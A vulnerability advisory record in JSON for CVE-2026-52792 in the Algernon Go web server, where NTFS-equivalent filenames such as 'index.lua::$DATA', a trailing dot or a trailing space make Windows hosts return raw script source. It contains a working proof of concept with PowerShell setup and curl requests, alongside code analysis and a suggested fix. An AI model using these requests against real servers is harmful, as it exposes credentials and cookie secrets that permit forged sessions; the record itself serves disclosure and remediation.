{"id":"CVE-2026-52792","aliases":["CVE-2026-52792","GHSA-mm6c-5j6x-hq8m","GO-2026-5903"],"related":[],"kind":"vulnerability","state":"published","title":"Algernon: Server-side script source disclosure on Windows via NTFS filename","summary":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.9, Algernon on Windows selects a file handler in engine/handlers.go by calling filepath.Ext() without first rejecting NTFS-equivalent names such as x.lua::$DATA, x.lua., and x.lua . An unauthenticated client can append one of these suffixes to a public server-side script using the .lua, .tl, .po2, .amber, or .frm extension. The request path passes through URL2filename in utils/files.go, skips the renderer and execution cases, and reaches FilePage, os.Open, ReadAndLogErrors, and ToClient, while NTFS resolves the alias to the underlying script. The server consequently returns raw script source and can expose database credentials, API keys, and the SetCookieSecret value, which may permit forged session cookies. Linux and macOS hosts are not affected by this issue. This issue is fixed in version 1.17.9.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.9, Algernon on Windows selects a file handler in engine/handlers.go by calling filepath.Ext() without first rejecting NTFS-equivalent names such as x.lua::$DATA, x.lua., and x.lua . An unauthenticated client can append one of these suffixes to a public server-side script using the .lua, .tl, .po2, .amber, or .frm extension. The request path passes through URL2filename in utils/files.go, skips the renderer and execution cases, and reaches FilePage, os.Open, ReadAndLogErrors, and ToClient, while NTFS resolves the alias to the underlying script. The server consequently returns raw script source and can expose database credentials, API keys, and the SetCookieSecret value, which may permit forged session cookies. Linux and macOS hosts are not affected by this issue. This issue is fixed in version 1.17.9.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAlgernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value.\n\nLinux and macOS hosts are unaffected.\n\n### Preconditions\n\n- Algernon runs on a Windows host (NTFS filesystem).\n- The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`).\n- The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB).\n- HTTP/HTTPS reachability to the server.\n\n### Details\n\n```go\n// engine/handlers.go:133\nlowercaseFilename := strings.ToLower(filename)\next := filepath.Ext(lowercaseFilename) // \"index.lua::$data\" -> \".lua::$data\", not \".lua\"  [offending]\n...\nif ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false\n    return\n}\nswitch ext {\ncase \".lua\", \".tl\": // execute the script -- never reached for the equivalent forms\n    // ... RunLua ...\ndefault:\n    // control reaches the raw-file branch below\n}\n```\n\n```go\n// engine/handlers.go:452\nf, err := os.Open(filename) // NTFS resolves \"index.lua::$DATA\" to index.lua's data stream\n...\n// engine/handlers.go:479\nif dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {\n    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client\n}\n```\n\nThe request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch.\n\nThe default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.\n\n### Proof of concept\n\n**Setup**\n\n1. Build Algernon from source on a Windows host:\n\n   ```powershell\n   git clone https://github.com/xyproto/algernon\n   cd algernon\n   git checkout v1.17.8\n   go build -o algernon.exe .\n   ```\n\n2. Create a web root with a script that embeds secrets, exactly as a real handler would:\n\n   ```powershell\n   New-Item -ItemType Directory webroot | Out-Null\n   Set-Content webroot\\index.lua @'\n   -- db = POSTGRES(\"postgres://app:S3cr3t@db/prod\")\n   SetCookieSecret(\"hardcoded-session-key\")\n   print(\"<h1>hello</h1>\")\n   '@\n   ```\n\n3. Serve the directory over plain HTTP with no auth backend (run in its own window):\n\n   ```powershell\n   .\\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\\webroot\n   ```\n\n**Exploit**\n\n1. Request the script normally. It executes, and the source is not disclosed:\n\n   ```powershell\n   curl.exe -s http://127.0.0.1:8088/index.lua\n   ```\n\n   Expected: `<h1>hello</h1>`. The DSN and cookie secret are absent from the response.\n\n2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source:\n\n   ```powershell\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'\n   ```\n\n   Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret(\"hardcoded-session-key\")` and the Postgres DSN.\n\n3. The trailing-dot and trailing-space forms leak the same source:\n\n   ```powershell\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'\n   ```\n\n   Expected: identical raw-source response for both.\n\n### Impact\n\n- **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values.\n- **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.\n\n```diff\n func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {\n+\t// Reject Windows filename-equivalent forms that alias a different file\n+\t// than filepath.Ext sees (e.g. \"x.lua::$DATA\", \"x.lua.\", \"x.lua \").\n+\tif base := filepath.Base(filename); strings.ContainsRune(base, ':') ||\n+\t\tstrings.HasSuffix(base, \".\") || strings.HasSuffix(base, \" \") {\n+\t\thttp.NotFound(w, req)\n+\t\treturn\n+\t}\n \tif ac.quitAfterFirstRequest {\n \t\tgo ac.quitSoon(\"Quit after first request\", defaultSoonDuration)\n \t}\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename in github.com/xyproto/algernon","format":"markdown","source":"go"}],"published":"2026-07-02T20:46:42.000Z","modified":"2026-09-18T20:09:01.757Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-69"],"affected":[{"ranges":[{"version":"< 1.17.9","status":"affected"}],"vendor":"xyproto","product":"algernon","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.17.9"}],"ecosystem":"Go","package":"github.com/xyproto/algernon","purl":"pkg:golang/github.com/xyproto/algernon","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.17.9"}],"ecosystem":"Go","package":"github.com/xyproto/algernon","purl":"pkg:golang/github.com/xyproto/algernon","source":"go"}],"references":[{"url":"https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/xyproto/algernon/commit/a6b0724928a0c35a29640b18ad5bd547f5e2efa6","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/xyproto/algernon/releases/tag/v1.17.9","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/xyproto/algernon","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-08-19T15:20:47.938Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-52792","url":"https://www.cve.org/CVERecord?id=CVE-2026-52792","licence":"CVE Terms of Use","modified":"2026-08-19T15:21:04.152Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mm6c-5j6x-hq8m","url":"https://github.com/advisories/GHSA-mm6c-5j6x-hq8m","licence":"CC-BY-4.0","modified":"2026-07-07T16:11:28.633Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5903","url":"https://pkg.go.dev/vuln/GO-2026-5903","licence":"CC-BY-4.0","modified":"2026-07-07T16:01:25.327Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-52792","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52792","licence":"Public domain","modified":"2026-09-18T20:09:01.757Z"}],"updatedAt":"2026-11-25T22:59:33.959Z","epss":{"score":0.00528,"percentile":0.46139,"date":"2026-12-01T12:00:22.000Z"}}